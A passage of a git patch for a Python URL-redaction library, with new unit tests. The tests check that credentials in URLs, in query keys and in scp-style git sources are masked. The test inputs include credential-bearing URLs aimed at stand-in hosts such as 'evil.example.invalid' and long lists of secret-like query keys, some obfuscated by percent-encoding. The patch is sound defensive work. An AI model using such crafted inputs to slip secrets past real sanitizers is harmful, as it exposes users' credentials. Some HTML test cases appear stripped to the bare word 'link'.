result.write(REDACTED_REMAINDER) + return TextRedactionResult( + value=result.getvalue(), + complete=False, + candidates=candidates, + reason=TextRedactionIncompleteReason.INTERNAL_ERROR, + ) + result.write(value[cursor:]) + return TextRedactionResult( + value=result.getvalue(), + complete=True, + candidates=candidates, + reason=None, + ) -def redact_text( +def redact_text_result( value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS, max_candidates: int = MAX_REDACTION_CANDIDATES, -) -> str: - """Redact bounded URL candidates while preserving ordinary text exactly.""" +) -> TextRedactionResult: + """Return sanitized text with content-free bounded completion metadata.""" if not isinstance(value, str): - return REDACTED_REMAINDER + return TextRedactionResult( + value=REDACTED_REMAINDER, + complete=False, + candidates=0, + reason=TextRedactionIncompleteReason.INVALID_INPUT, + ) if value == REDACTED_REMAINDER: - return value + return TextRedactionResult(value=value, complete=True, candidates=0, reason=None) if not _valid_bound(max_characters) or not _valid_bound(max_candidates): - return REDACTED_REMAINDER + return TextRedactionResult( + value=REDACTED_REMAINDER, + complete=False, + candidates=0, + reason=TextRedactionIncompleteReason.INVALID_INPUT, + ) if len(value) > max_characters: - return REDACTED_REMAINDER - return _redact_text_with_usage(value, max_candidates=max_candidates).value + return TextRedactionResult( + value=REDACTED_REMAINDER, + complete=False, + candidates=0, + reason=TextRedactionIncompleteReason.CHARACTER_LIMIT, + ) + if "://" not in value and ("@" not in value or ":" not in value): + return TextRedactionResult( + value=value, + complete=True, + candidates=0, + reason=None, + ) + return _redact_text_with_usage(value, max_candidates=max_candidates) + + +def redact_text( + value: str, + *, + max_characters: int = MAX_REDACTION_CHARACTERS, + max_candidates: int = MAX_REDACTION_CANDIDATES, +) -> str: + """Redact bounded URL candidates while preserving ordinary text exactly.""" + return redact_text_result( + value, + max_characters=max_characters, + max_candidates=max_candidates, + ).value class _AggregateRedactionExhaustedError(Exception): @@ -370,8 +533,9 @@ def visit(self, value: object, depth: int) -> object: if isinstance(value, str): if len(value) > self.remaining_text_characters: raise _AggregateRedactionExhaustedError - result = _redact_text_with_usage( + result = redact_text_result( value, + max_characters=self.remaining_text_characters, max_candidates=self.remaining_text_candidates, ) if not result.complete: diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index 092ca8ad..62763736 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -164,6 +164,72 @@ def test_source_change_rejects_raw_destination_redaction_bypasses( assert "type-boundary-secret" not in str(error.value) +@pytest.mark.parametrize( + "query_key", + [ + "authorizationtoken", + "authenticationtoken", + "credentialtoken", + "tokensecret", + "secretkeytoken", + "passphrasekey", + "signaturetoken", + "dbpassword", + "registrytoken", + "dbauth", + "clientcredential", + "requestsignature", + "accesskey", + "githubtoken", + "githubtokenvalue", + "GITHUBTOKENVALUE", + "github%54oken%56alue", + ], +) +def test_source_change_rejects_compact_credential_query_grammar_bypasses( + query_key: str, +) -> None: + api = _api() + sentinel = "source-change-query-secret-4b6a" + + with pytest.raises(ValueError) as error: + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=(f"https://packages.example.invalid/private?{query_key}={sentinel}"), + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert sentinel not in str(error.value) + + +@pytest.mark.parametrize( + "query_key", + ["ssh_key", "registry-key", "encryption.key", "x_pass", "db_sig"], +) +def test_source_change_rejects_explicitly_separated_weak_credential_words( + query_key: str, +) -> None: + api = _api() + sentinel = "source-change-separated-weak-secret-498c" + + with pytest.raises(ValueError) as error: + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=(f"https://packages.example.invalid/simple?{query_key}={sentinel}"), + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert sentinel not in str(error.value) + + def test_source_change_uses_one_exact_unresolved_representation() -> None: api = _api() diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index 208a7ca2..e7e49b89 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -7,6 +7,7 @@ import importlib from collections.abc import Iterator, Mapping +from time import perf_counter from typing import Any import pytest @@ -63,6 +64,20 @@ def test_credential_semantic_query_keys_are_decoded_and_redacted(query_key: str) assert "channel=stable" in redacted +@pytest.mark.parametrize( + "query_key", + ["ssh_key", "registry-key", "encryption.key", "x_pass", "db_sig"], +) +def test_explicitly_separated_weak_credential_words_are_redacted(query_key: str) -> None: + api = _api() + sentinel = "separated-weak-query-secret-e90a" + + redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") + + assert redacted.endswith(f"?{query_key}=REDACTED") + assert sentinel not in redacted + + @pytest.mark.parametrize( "query_key", [ @@ -88,6 +103,83 @@ def test_compact_and_mixed_case_credential_query_keys_are_redacted(query_key: st assert sentinel not in redacted +@pytest.mark.parametrize( + "query_key", + [ + "authorizationtoken", + "AUTHORIZATIONTOKEN", + "authorizationToken", + "authorization%54oken", + "authenticationtoken", + "AUTHENTICATIONTOKEN", + "authenticationToken", + "authentication%54oken", + "credentialtoken", + "CREDENTIALTOKEN", + "credentialToken", + "%63redentialtoken", + "tokensecret", + "TOKENSECRET", + "tokenSecret", + "%74okenSecret", + "secretkeytoken", + "SECRETKEYTOKEN", + "secretKeyToken", + "secret%4BeyToken", + "passphrasekey", + "PASSPHRASEKEY", + "passphraseKey", + "passphrase%4Bey", + "signaturetoken", + "SIGNATURETOKEN", + "signatureToken", + "signature%54oken", + "dbpassword", + "DBPASSWORD", + "dbPassword", + "db%50assword", + "registrytoken", + "REGISTRYTOKEN", + "registryToken", + "registry%54oken", + "dbauth", + "DBAUTH", + "dbAuth", + "db%41uth", + "clientcredential", + "CLIENTCREDENTIAL", + "clientCredential", + "client%43redential", + "requestsignature", + "REQUESTSIGNATURE", + "requestSignature", + "request%53ignature", + "accesskey", + "ACCESSKEY", + "accessKey", + "access%4Bey", + "githubtoken", + "githubTokenValue", + "githubtokenvalue", + "GITHUBTOKENVALUE", + "github%54oken%56alue", + ], +) +def test_compact_query_key_grammar_redacts_complete_credential_terms( + query_key: str, +) -> None: + api = _api() + sentinel = "segmented-query-value-secret-11c4" + raw = f"https://packages.example.invalid/simple?channel=one;{query_key}={sentinel}&channel=two" + + redacted = api.redact_url(raw) + + assert redacted == ( + f"https://packages.example.invalid/simple?channel=one;{query_key}=REDACTED&channel=two" + ) + assert sentinel not in redacted + + @pytest.mark.parametrize( "raw", [ @@ -292,14 +384,108 @@ def test_query_redaction_preserves_mixed_ampersand_semicolon_delimiters() -> Non assert "second-secret" not in redacted -@pytest.mark.parametrize("query_key", ["monkey", "compass", "tokenizer", "secretary"]) -def test_query_key_substrings_that_are_not_credential_semantics_remain_unchanged( +@pytest.mark.parametrize( + "query_key", + [ + "monkey", + "MONKEY", + "Monkey", + "monKey", + "%6Donkey", + "compass", + "COMPASS", + "Compass", + "comPass", + "%63ompass", + "tokenizer", + "TOKENIZER", + "Tokenizer", + "%74okenizer", + "secretary", + "SECRETARY", + "Secretary", + "%73ecretary", + "registrytokenizer", + "clientsecretary", + "dbauthor", + "accesskeyboard", + "requestsignatory", + "passwordless", + "keynote", + "privatekeyboard", + "authorizationtokenizer", + ], +) +def test_ambiguous_query_key_substrings_are_conservatively_redacted( query_key: str, ) -> None: api = _api() raw = f"https://packages.example.invalid/simple?{query_key}=visible-value" - assert api.redact_url(raw) == raw + redacted = api.redact_url(raw) + + assert redacted.endswith(f"?{query_key}=REDACTED") + assert "visible-value" not in redacted + + +def test_nested_hierarchical_uri_in_query_fails_closed_without_leaking_userinfo() -> None: + api = _api() + sentinel = "nested-query-uri-secret-c8b2" + text = ( + "Use https://safe.example.invalid/path?next=" + f"https://user:{sentinel}@evil.example.invalid/repo now." + ) + + redacted = api.redact_text(text) + + assert redacted == f"Use {api.REDACTED_URL} now." + assert sentinel not in redacted + + +def test_nested_scp_uri_in_query_fails_closed_without_leaking_userinfo() -> None: + api = _api() + sentinel = "nested-scp-query-secret-14da" + text = ( + "Use https://safe.example.invalid/path?next=" + f"{sentinel}@evil.example.invalid:org/repo.git now." + ) + + redacted = api.redact_text(text) + + assert redacted == f"Use {api.REDACTED_URL} now." + assert sentinel not in redacted + + +@pytest.mark.parametrize("query_key", ["%FFtoken", "to%00ken", "%2574oken"]) +def test_ambiguous_or_control_bearing_query_keys_fail_closed(query_key: str) -> None: + api = _api() + sentinel = "ambiguous-key-value-secret-b712" + + redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") + + assert redacted == api.REDACTED_URL + assert sentinel not in redacted + + +def test_query_key_bounds_accept_exact_decoded_and_raw_limits_and_reject_one_over() -> None: + api = _api() + sentinel = "bounded-key-value-secret-65e3" + exact_decoded = ("a" * 251) + "token" + exact_raw = ("%61" * 251) + "%74%6F%6B%65%6E" + over_decoded = "a" + exact_decoded + over_raw = "x" + exact_raw + + assert len(exact_decoded) == 256 + assert len(exact_raw) == 768 + for query_key in (exact_decoded, exact_raw): + redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") + assert redacted.endswith(f"?{query_key}=REDACTED") + assert sentinel not in redacted + for query_key in (over_decoded, over_raw): + assert ( + api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") + == api.REDACTED_URL + ) def test_embedded_urls_are_redacted_without_changing_surrounding_free_text() -> None: @@ -317,6 +503,176 @@ def test_embedded_urls_are_redacted_without_changing_surrounding_free_text() -> assert sentinel not in redacted +@pytest.mark.parametrize( + ("token", "sentinel"), + [ + ( + "1https://alice:leading-digit-secret@host.invalid/path", + "leading-digit-secret", + ), + ( + "-https://alice:leading-hyphen-secret@host.invalid/path", + "leading-hyphen-secret", + ), + ( + "://alice:missing-scheme-secret@host.invalid/path", + "missing-scheme-secret", + ), + ( + "http:://alice:double-colon-secret@host.invalid/path", + "double-colon-secret", + ), + ( + "https_://alice:underscore-scheme-secret@host.invalid/path", + "underscore-scheme-secret", + ), + ], +) +def test_malformed_hierarchical_tokens_fail_closed_as_one_bounded_span( + token: str, + sentinel: str, +) -> None: + api = _api() + + redacted = api.redact_text(f"Use {token} now.") + + assert redacted == f"Use {api.REDACTED_URL} now." + assert sentinel not in redacted + + +@pytest.mark.parametrize( + ("text", "_previous_exact_output"), + [ + ( + 'link', + 'link', + ), + ( + 'link', + 'link', + ), + ( + "link", + "link", + ), + ( + "link", + "link", + ), + ( + "link", + "link", + ), + ( + 'x="https://host.invalid/path"; next', + 'x="https://host.invalid/path"; next', + ), + ( + 'x="https://alice:assignment-secret@host.invalid/path"; next', + 'x="https://REDACTED@host.invalid/path"; next', + ), + ( + "const registry=`https://alice:tick-source-secret@host.invalid/path`; next", + "const registry=`https://REDACTED@host.invalid/path`; next", + ), + ( + "[https://host.invalid/path](mailto:dev@example.invalid)", + "[https://host.invalid/path](mailto:dev@example.invalid)", + ), + ( + "[https://alice:markdown-secret@host.invalid/path](mailto:dev@example.invalid)", + "[https://REDACTED@host.invalid/path](mailto:dev@example.invalid)", + ), + ( + "[dev](mailto:dev@example.invalid)[site](https://host.invalid/path)", + "[dev](mailto:dev@example.invalid)[site](https://host.invalid/path)", + ), + ( + "[dev@example.invalid](https://alice:reverse-markdown-secret@host.invalid/path)", + "[dev@example.invalid](https://REDACTED@host.invalid/path)", + ), + ( + 'x="https://host.invalid/path";y="dev@example.invalid"', + 'x="https://host.invalid/path";y="dev@example.invalid"', + ), + ( + 'x="https://alice:code-secret@host.invalid/path";y="dev@example.invalid"', + 'x="https://REDACTED@host.invalid/path";y="dev@example.invalid"', + ), + ( + 'const x="https://host.invalid/path"+"dev@example.invalid/path";', + 'const x="https://host.invalid/path"+"dev@example.invalid/path";', + ), + ( + 'const x="https://alice:concat-secret@host.invalid/path"+"dev@example.invalid/path";', + 'const x="https://REDACTED@host.invalid/path"+"dev@example.invalid/path";', + ), + ], +) +def test_ambiguous_markup_and_source_tokens_are_masked_deterministically( + text: str, + _previous_exact_output: str, +) -> None: + api = _api() + redacted = api.redact_text(text) + + assert api.REDACTED_URL in redacted + assert api.redact_text(redacted) == redacted + for sentinel in ( + "html-secret", + "html-unquoted-secret", + "assignment-secret", + "tick-source-secret", + "markdown-secret", + "reverse-markdown-secret", + "code-secret", + "concat-secret", + ): + assert sentinel not in redacted + + +@pytest.mark.parametrize( + ("text", "_previous_exact_output"), + [ + ( + '{"url":"https://host.invalid/path","enabled":true}', + '{"url":"https://host.invalid/path","enabled":true}', + ), + ( + '{"url":"https://user:json-secret@host.invalid/path","enabled":true}', + '{"url":"https://REDACTED@host.invalid/path","enabled":true}', + ), + ( + '["https://host.invalid/one","https://host.invalid/two"]', + '["https://host.invalid/one","https://host.invalid/two"]', + ), + ( + '["https://user:first-array-secret@one.invalid/x",' + '"https://user:second-array-secret@two.invalid/y"]', + '["https://REDACTED@one.invalid/x","https://REDACTED@two.invalid/y"]', + ), + ], +) +def test_minified_json_url_tokens_are_masked_as_ambiguous_provider_context( + text: str, + _previous_exact_output: str, +) -> None: + api = _api() + redacted = api.redact_text(text) + + assert redacted == api.REDACTED_URL + assert api.redact_text(redacted) == redacted + assert "json-secret" not in redacted + assert "array-secret" not in redacted + + +def test_paired_punctuation_survives_fragment_removal() -> None: + api = _api() + text = "Open [https://user:fragment-secret@host.invalid/path#private-fragment], next." + + assert api.redact_text(text) == ("Open [https://REDACTED@host.invalid/path], next.") + + def test_embedded_url_fragment_is_removed_without_swallowing_trailing_prose_punctuation() -> None: api = _api() text = ( @@ -356,7 +712,11 @@ def test_embedded_quotes_are_preserved_while_apostrophes_inside_userinfo_are_red ) -> None: api = _api() - assert api.redact_text(text) == expected + redacted = api.redact_text(text) + + assert redacted == expected + assert api.redact_text(redacted) == redacted + assert "secret" not in redacted @pytest.mark.parametrize("delimiter", ['"', "`", "<"]) @@ -373,6 +733,66 @@ def test_invalid_userinfo_delimiters_cannot_leave_a_raw_secret_suffix( assert sentinel not in redacted +@pytest.mark.parametrize( + ("text", "_previous_exact_output"), + [ + ( + 'x="https://user:123"quoted-suffix-secret@host.invalid/path"', + 'x="[REDACTED_URL]"', + ), + ( + "x=`https://user:123`tick-suffix-secret@host.invalid/path`", + "x=`[REDACTED_URL]`", + ), + ( + 'x="https://user:123"unclosed-suffix-secret@host.invalid/path', + 'x="[REDACTED_URL]', + ), + ], +) +def test_apparent_wrapper_inside_incomplete_userinfo_cannot_expose_its_suffix( + text: str, + _previous_exact_output: str, +) -> None: + api = _api() + + redacted = api.redact_text(text) + + assert redacted == api.REDACTED_URL + assert "suffix-secret" not in redacted + + +@pytest.mark.parametrize("separator", ["+", "=", ",", ";", ":"]) +def test_apparent_wrapper_cannot_use_userinfo_punctuation_to_expose_a_later_at_sign( + separator: str, +) -> None: + api = _api() + text = f'x="https://user:123"quoted{separator}suffix-secret@host.invalid/path"' + + redacted = api.redact_text(text) + + assert redacted == api.REDACTED_URL + assert "suffix-secret" not in redacted + + +@pytest.mark.parametrize( + "text", + [ + 'x="https://user:123"}suffix-secret@host.invalid/path"', + 'x="https://user:123","suffix-secret@host.invalid/path"', + ], +) +def test_apparent_wrapper_structural_shortcuts_cannot_expose_a_later_at_sign( + text: str, +) -> None: + api = _api() + + redacted = api.redact_text(text) + + assert api.REDACTED_URL in redacted + assert "suffix-secret" not in redacted + + def test_angle_bracket_prose_wrapper_is_preserved_around_a_sanitized_url() -> None: api = _api() text = "Use ." @@ -380,6 +800,28 @@ def test_angle_bracket_prose_wrapper_is_preserved_around_a_sanitized_url() -> No assert api.redact_text(text) == ("Use .") +@pytest.mark.parametrize( + ("text", "expected"), + [ + ( + "Use 'scp-wrapper-secret@git.example.invalid:repo.git' now.", + "Use 'REDACTED@git.example.invalid:repo.git' now.", + ), + ( + "Use scp-punctuation-secret@git.example.invalid:repo.git, now.", + "Use REDACTED@git.example.invalid:repo.git, now.", + ), + ], +) +def test_simple_scp_wrappers_and_punctuation_do_not_hide_dot_git_candidates( + text: str, + expected: str, +) -> None: + api = _api() + + assert api.redact_text(text) == expected + + @pytest.mark.parametrize( ("text", "expected"), [ @@ -422,6 +864,113 @@ def test_default_text_bound_preserves_large_benign_provider_content() -> None: assert api.redact_text(text) == text +def test_repeated_false_scp_prefixes_are_processed_in_linear_tokens() -> None: + api = _api() + atom = "a@h:x" + text = ",".join([atom] * 20_000) + + started = perf_counter() + result = api.redact_text_result(text) + elapsed = perf_counter() - started + + assert result.value == text + assert result.complete is True + assert result.candidates == 0 + assert elapsed < 2.0 + + +def test_dense_ambiguous_url_envelope_is_processed_once_and_fails_closed() -> None: + api = _api() + text = "[" + ",".join(f'"https://host.invalid/{index}"' for index in range(400)) + "]" + + started = perf_counter() + result = api.redact_text_result(text, max_candidates=400) + elapsed = perf_counter() - started + + assert result == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=400, + reason=None, + ) + assert api.redact_text(result.value) == result.value + assert elapsed < 2.0 + + +def test_benign_16_mib_text_uses_the_constant_time_candidate_fast_path( + monkeypatch: pytest.MonkeyPatch, +) -> None: + api = _api() + text = "x" * api.MAX_REDACTION_CHARACTERS + + def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: + pytest.fail("candidate scanner should not run for benign text") + + monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) + started = perf_counter() + result = api.redact_text_result(text) + elapsed = perf_counter() - started + + assert result.value is text + assert result.complete is True + assert result.candidates == 0 + assert result.reason is None + assert elapsed < 2.0 + + +def test_nested_benign_text_uses_the_same_candidate_fast_path( + monkeypatch: pytest.MonkeyPatch, +) -> None: + api = _api() + text = "nested benign provider context" * 4_000 + + def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: + pytest.fail("candidate scanner should not run for benign nested text") + + monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) + + assert api.redact_value( + {"body": text}, + max_nodes=2, + max_text_characters=len(text), + ) == {"body": text} + + +class _CopyCountingString(str): + copied_characters: int + + def __new__(cls, value: str) -> _CopyCountingString: + instance = super().__new__(cls, value) + instance.copied_characters = 0 + return instance + + def __getitem__(self, key: int | slice) -> str: + result = super().__getitem__(key) + if isinstance(key, int): + character = _CopyCountingString(result) + character.copied_characters = self.copied_characters + return character + return result + + def __add__(self, other: str) -> _CopyCountingString: + result = _CopyCountingString(super().__add__(other)) + result.copied_characters = ( + self.copied_characters + getattr(other, "copied_characters", 0) + len(self) + len(other) + ) + return result + + +def test_trailing_punctuation_is_detached_without_repeated_suffix_copying() -> None: + api = _api() + value = _CopyCountingString("https://host.invalid/path" + ("." * 1_000)) + + candidate, punctuation = api._detach_trailing_prose_punctuation(value, None) + + assert candidate == "https://host.invalid/path" + assert punctuation == "." * 1_000 + assert getattr(punctuation, "copied_characters", 0) <= len(value) * 2 + + def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhausted() -> None: api = _api() first_secret = "first-bound-secret" @@ -442,6 +991,166 @@ def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhaus assert api.REDACTED_REMAINDER in character_bounded +def test_candidate_signal_budget_has_exact_one_over_and_zero_behavior() -> None: + api = _api() + text = ( + "https://user:first-budget-secret@one.invalid/x " + "https://user:second-budget-secret@two.invalid/y" + ) + + assert api.redact_text(text, max_candidates=2) == ( + "https://REDACTED@one.invalid/x https://REDACTED@two.invalid/y" + ) + assert api.redact_text(text, max_candidates=1) == ( + f"https://REDACTED@one.invalid/x {api.REDACTED_REMAINDER}" + ) + assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER + + +def test_structured_text_result_distinguishes_literal_placeholder_from_exhaustion() -> None: + api = _api() + literal = api.redact_text_result(api.REDACTED_REMAINDER) + literal_with_prefix = api.redact_text_result(f"prefix {api.REDACTED_REMAINDER}") + exhausted = api.redact_text_result( + "https://user:structured-result-secret@host.invalid/path", + max_candidates=0, + ) + exhausted_with_prefix = api.redact_text_result( + "prefix https://user:structured-result-secret@host.invalid/path", + max_candidates=0, + ) + + assert literal == api.TextRedactionResult( + value=api.REDACTED_REMAINDER, + complete=True, + candidates=0, + reason=None, + ) + assert exhausted.value == api.REDACTED_REMAINDER + assert exhausted.complete is False + assert exhausted.candidates == 0 + assert exhausted.reason is api.TextRedactionIncompleteReason.CANDIDATE_LIMIT + assert literal_with_prefix.value == exhausted_with_prefix.value + assert literal_with_prefix.complete is True + assert exhausted_with_prefix.complete is False + + +def test_structured_text_result_reports_character_bound_and_retained_candidate_usage() -> None: + api = _api() + text = ( + "https://user:first-structured-secret@one.invalid/path " + "https://user:second-structured-secret@two.invalid/path" + ) + + character_limited = api.redact_text_result(text, max_characters=len(text) - 1) + candidate_limited = api.redact_text_result(text, max_candidates=1) + + assert character_limited == api.TextRedactionResult( + value=api.REDACTED_REMAINDER, + complete=False, + candidates=0, + reason=api.TextRedactionIncompleteReason.CHARACTER_LIMIT, + ) + assert candidate_limited.complete is False + assert candidate_limited.candidates == 1 + assert candidate_limited.reason is api.TextRedactionIncompleteReason.CANDIDATE_LIMIT + assert candidate_limited.value.endswith(api.REDACTED_REMAINDER) + + +def test_nested_scp_signals_share_the_hierarchical_candidate_budget() -> None: + api = _api() + text = "https://safe.invalid/p?next=a@b:x.git,c@d:y.git" + + assert api.redact_text(text, max_candidates=3) == api.REDACTED_URL + assert api.redact_text(text, max_candidates=2) == api.REDACTED_REMAINDER + assert api.redact_text(text, max_candidates=1) == api.REDACTED_REMAINDER + + +def test_scp_candidate_containing_a_hierarchical_marker_fails_closed_and_charges_both() -> None: + api = _api() + sentinel = "inverse-nested-scp-secret-0bc4" + text = f"{sentinel}@host.invalid:org://evil.invalid/repo.git" + + assert api.redact_text(text, max_candidates=2) == api.REDACTED_URL + assert api.redact_text(text, max_candidates=1) == api.REDACTED_REMAINDER + assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER + assert sentinel not in api.redact_text(text) + + +def test_ambiguous_email_assignment_and_url_token_is_masked() -> None: + api = _api() + text = "owner=dev@example.invalid:url=https://host.invalid/path" + + assert api.redact_text(text) == api.REDACTED_URL + + +@pytest.mark.parametrize( + "text", + [ + "a@b:x.git,https://user:first-same-token-secret@host.invalid/x", + ( + '["https://user:first-array-secret@one.invalid/x",' + '"https://user:second-array-secret@two.invalid/y"]' + ), + ], +) +def test_structured_result_retains_same_token_candidate_usage_on_exhaustion( + text: str, +) -> None: + api = _api() + + result = api.redact_text_result(text, max_candidates=1) + + assert result == api.TextRedactionResult( + value=api.REDACTED_REMAINDER, + complete=False, + candidates=1, + reason=api.TextRedactionIncompleteReason.CANDIDATE_LIMIT, + ) + assert "same-token-secret" not in result.value + assert "array-secret" not in result.value + + +@pytest.mark.parametrize( + "template", + [ + "{sentinel}#x@git.example.invalid:org/repo.git", + "{sentinel}@git.example.invalid#x:org/repo.git", + "{sentinel}@git.example.invalid:org#x/repo.git", + ], +) +def test_scp_candidate_with_an_ambiguous_raw_fragment_fails_closed(template: str) -> None: + api = _api() + sentinel = "scp-fragment-prefix-secret-2e70" + text = template.format(sentinel=sentinel) + + assert api.redact_text(text) == api.REDACTED_URL + assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER + assert sentinel not in api.redact_text(text) + + +def test_scp_discovery_uses_the_host_path_separator_not_the_last_colon() -> None: + api = _api() + sentinel = "multi-colon-scp-userinfo-secret-77a1" + text = f"user:{sentinel}@evil.invalid:org/repo.git:x" + + assert api.redact_text(text) == api.REDACTED_URL + assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER + assert sentinel not in api.redact_text(text) + + +def test_markup_scanner_output_is_idempotent() -> None: + api = _api() + text = ( + '{"url":"https://user:json-idempotent-secret@host.invalid/path",' + '"mirror":"https://host.invalid/mirror"}' + ) + + first = api.redact_text(text) + + assert api.redact_text(first) == first + + @pytest.mark.parametrize( ("raw", "max_characters"), [ From d1024baa24e9260a567d76c3ebafe48c938cee67 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 18:36:44 -0700 Subject: [PATCH 10/30] fix(sc10): sanitize scheme-relative sources Signed-off-by: Nir Paz --- src/skillspector/url_redaction.py | 111 +++++++- tests/unit/test_dependency_source_types.py | 51 ++++ tests/unit/test_url_redaction.py | 292 +++++++++++++++++++++ 3 files changed, 447 insertions(+), 7 deletions(-) diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index 48235e9c..ac26839a 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -73,6 +73,8 @@ "`": "`", } _SENTENCE_PUNCTUATION: Final = frozenset(".,") +_SCHEME_RELATIVE_BOUNDARIES: Final = frozenset("=([{<\"'`,;") +_SCHEME_RELATIVE_START = re.compile(r"(?:^|[\s=\(\[\{<\"'`,;])//") def _valid_bound(value: object) -> bool: @@ -177,7 +179,17 @@ def _validated_safe_authority(parsed: SplitResult, authority: str) -> str | None def _redact_standard_url(value: str) -> str: parsed = urlsplit(value) - if not _SCHEME.fullmatch(parsed.scheme) or not parsed.netloc: + scheme_relative = value.startswith("//") + if ( + not parsed.netloc + or (scheme_relative and parsed.scheme) + or (not scheme_relative and not _SCHEME.fullmatch(parsed.scheme)) + ): + return REDACTED_URL + if not scheme_relative and ( + _scheme_relative_reference_signals(parsed.path) + or _scheme_relative_reference_signals(parsed.query) + ): return REDACTED_URL safe_authority = _validated_safe_authority(parsed, parsed.netloc) if safe_authority is None: @@ -186,7 +198,8 @@ def _redact_standard_url(value: str) -> str: without_fragment = value.split("#", 1)[0] had_query_delimiter = "?" in without_fragment suffix = f"?{safe_query}" if had_query_delimiter else "" - return f"{parsed.scheme}://{safe_authority}{parsed.path}{suffix}" + prefix = "//" if scheme_relative else f"{parsed.scheme}://" + return f"{prefix}{safe_authority}{parsed.path}{suffix}" def _valid_scp_host(host: str) -> bool: @@ -260,6 +273,55 @@ def _hierarchical_suffix_after_authority(value: str) -> str: return value[suffix_start:] +def _scheme_relative_suffix_after_authority(value: str) -> str: + index = 2 + while index < len(value) and value[index] not in "/?#": + index += 1 + return value[index:] + + +def _scan_scheme_relative_references(value: str) -> tuple[int, int | None]: + signals = 0 + first_start: int | None = None + index = 0 + while index + 1 < len(value): + if value[index] != "/" or value[index + 1] != "/": + index += 1 + continue + start = index + index += 2 + if start > 0 and value[start - 1] == ":": + continue + if ( + start > 0 + and not value[start - 1].isspace() + and value[start - 1] not in _SCHEME_RELATIVE_BOUNDARIES + ): + continue + authority_start = index + if authority_start >= len(value): + continue + authority_end = authority_start + while ( + authority_end < len(value) + and not value[authority_end].isspace() + and value[authority_end] not in "/?#" + ): + authority_end += 1 + authority = value[authority_start:authority_end] + ended_at_reference_delimiter = authority_end < len(value) and value[authority_end] in "/?#" + if authority and (ended_at_reference_delimiter or "@" in authority): + signals += 1 + if first_start is None: + first_start = start + return signals, first_start + + +def _scheme_relative_reference_signals(value: str) -> int: + """Count bounded `//authority` references without treating `a//b` as one.""" + return _scan_scheme_relative_references(value)[0] + + def _detach_trailing_prose_punctuation( value: str, opener: str | None, @@ -280,17 +342,31 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> return REDACTED_URL if len(value) > max_characters: return REDACTED_URL - is_hierarchical_uri = "://" in value + scheme_relative_signals = _scheme_relative_reference_signals(value) + is_scheme_relative = value.startswith("//") and scheme_relative_signals > 0 + if scheme_relative_signals and not is_scheme_relative: + return REDACTED_URL + if is_scheme_relative and scheme_relative_signals > 1: + return REDACTED_URL + is_absolute_hierarchical_uri = "://" in value + is_hierarchical_uri = is_absolute_hierarchical_uri or is_scheme_relative suspicious = is_hierarchical_uri or _looks_like_scp_git(value) if not suspicious: return value - if is_hierarchical_uri: + if is_scheme_relative and ( + is_absolute_hierarchical_uri + or _looks_like_scp_git(_scheme_relative_suffix_after_authority(value)) + ): + return REDACTED_URL + if is_absolute_hierarchical_uri: first_marker = value.find("://") if value.find("://", first_marker + 3) >= 0 or _looks_like_scp_git( _hierarchical_suffix_after_authority(value) ): return REDACTED_URL - elif "#" in value and not _looks_like_scp_git(value.split("#", 1)[0]): + elif ( + not is_hierarchical_uri and "#" in value and not _looks_like_scp_git(value.split("#", 1)[0]) + ): return REDACTED_URL if ( _CONTROL_CHARACTER.search(value) @@ -367,6 +443,10 @@ def _scp_signals_in_token(token: str, first_marker: int) -> int: if "@" not in token or ":" not in token: return 0 if first_marker < 0: + relative_signals, relative_start = _scan_scheme_relative_references(token) + if relative_signals and relative_start is not None: + suffix = _scheme_relative_suffix_after_authority(token[relative_start:]) + return suffix.count("@") if _looks_like_scp_git(suffix) else 0 return token.count("@") if _looks_like_scp_git(token) else 0 signals = 0 @@ -391,8 +471,15 @@ def _scp_signals_in_token(token: str, first_marker: int) -> int: def _simple_redact_token(token: str, *, max_candidates: int) -> _TokenRedactionResult: marker_count = token.count("://") first_marker = token.find("://") + if first_marker >= 0: + scheme_relative_signals = _scheme_relative_reference_signals(token[:first_marker]) + scheme_relative_signals += _scheme_relative_reference_signals( + _hierarchical_suffix_after_authority(token) + ) + else: + scheme_relative_signals = _scheme_relative_reference_signals(token) scp_signals = _scp_signals_in_token(token, first_marker) - signals = marker_count + scp_signals + signals = marker_count + scheme_relative_signals + scp_signals if signals == 0: return _TokenRedactionResult(token, 0, True) if signals > max_candidates: @@ -489,7 +576,17 @@ def redact_text_result( candidates=0, reason=TextRedactionIncompleteReason.CHARACTER_LIMIT, ) - if "://" not in value and ("@" not in value or ":" not in value): + might_have_scheme_relative_reference = ( + "//" in value and _SCHEME_RELATIVE_START.search(value) is not None + ) + has_scheme_relative_reference = might_have_scheme_relative_reference and bool( + _scheme_relative_reference_signals(value) + ) + if ( + "://" not in value + and not has_scheme_relative_reference + and ("@" not in value or ":" not in value) + ): return 